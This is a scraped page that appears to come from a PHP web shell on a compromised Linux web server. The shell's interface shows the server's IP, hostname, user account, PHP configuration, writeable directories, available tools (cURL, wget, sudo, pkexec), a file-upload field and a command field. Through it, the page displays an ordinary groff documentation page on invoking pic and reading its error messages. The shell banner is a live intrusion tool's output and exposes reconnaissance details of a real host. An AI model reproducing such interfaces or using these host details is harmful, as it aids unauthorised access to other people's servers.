Private
Server IP : 195.201.23.43  /  Your IP : 18.217.163.75
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/groff/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/doc/groff/html/pic-2.html
<!-- Creator     : groff version 1.22.4 -->
<!-- CreationDate: Sat Mar 21 12:27:30 2020 -->
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta name="generator" content="groff -Thtml, see www.gnu.org">
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">
<meta name="Content-Style" content="text/css">
<style type="text/css">
       p       { margin-top: 0; margin-bottom: 0; vertical-align: top }
       pre     { margin-top: 0; margin-bottom: 0; vertical-align: top }
       table   { margin-top: 0; margin-bottom: 0; vertical-align: top }
       h1      { text-align: center }
</style>
<title>pic-2.html</title>

</head>
<hr>
[ <a href="pic-1.html">prev</a> | <a href="pic-3.html">next</a> | <a href="pic.html">top</a> ]
<hr>


<h2>2. Invoking PIC
<a name="2. Invoking PIC"></a>
</h2>


<p style="margin-top: 1em">Every <b>pic</b> description is
a little program describing drawing actions. The
<b>[gtn]roff</b>-dependent versions compile the program by
<i>pic</i>(1) into <i>gtroff</i>(1) macros; the
<i>pic2plot</i>(1) implementation uses a plotting library to
draw the picture directly. Programs that process or display
<i>gtroff</i>(1) output need not know or care that parts of
the image began life as <b>pic</b> descriptions.</p>

<p style="margin-top: 1em">The <i>pic</i>(1) program tries
to translate anything between <b>.PS</b> and <b>.PE</b>
markers, and passes through everything else. The normal
definitions of <b>.PS</b> and <b>.PE</b> in the <i>ms</i>
macro package and elsewhere have also the side-effect of
centering the <b>pic</b> output on the page.</p>

<h3>2.1. PIC Error Messages
<a name="2.1. PIC Error Messages"></a>
</h3>


<p style="margin-top: 1em">If you make a <b>pic</b> syntax
error, <i>gpic</i>(1) issues an error message in the
standard <i>gcc</i>(1)-like syntax. A typical error message
looks like this</p>


<p style="margin-left:10%; margin-top: 1em">pic:pic.ms:&lt;nnn&gt;:
parse error before &lsquo;&lt;token&gt;&rsquo; <br>
pic:pic.ms:&lt;nnn&gt;: giving up on this picture</p>

<p style="margin-top: 1em">where &lang; nnn&rang; is a line
number, and &lang; token&rang; is a token near (usually just
after) the error location.</p>
<hr>
[ <a href="pic-1.html">prev</a> | <a href="pic-3.html">next</a> | <a href="pic.html">top</a> ]
<hr>
Private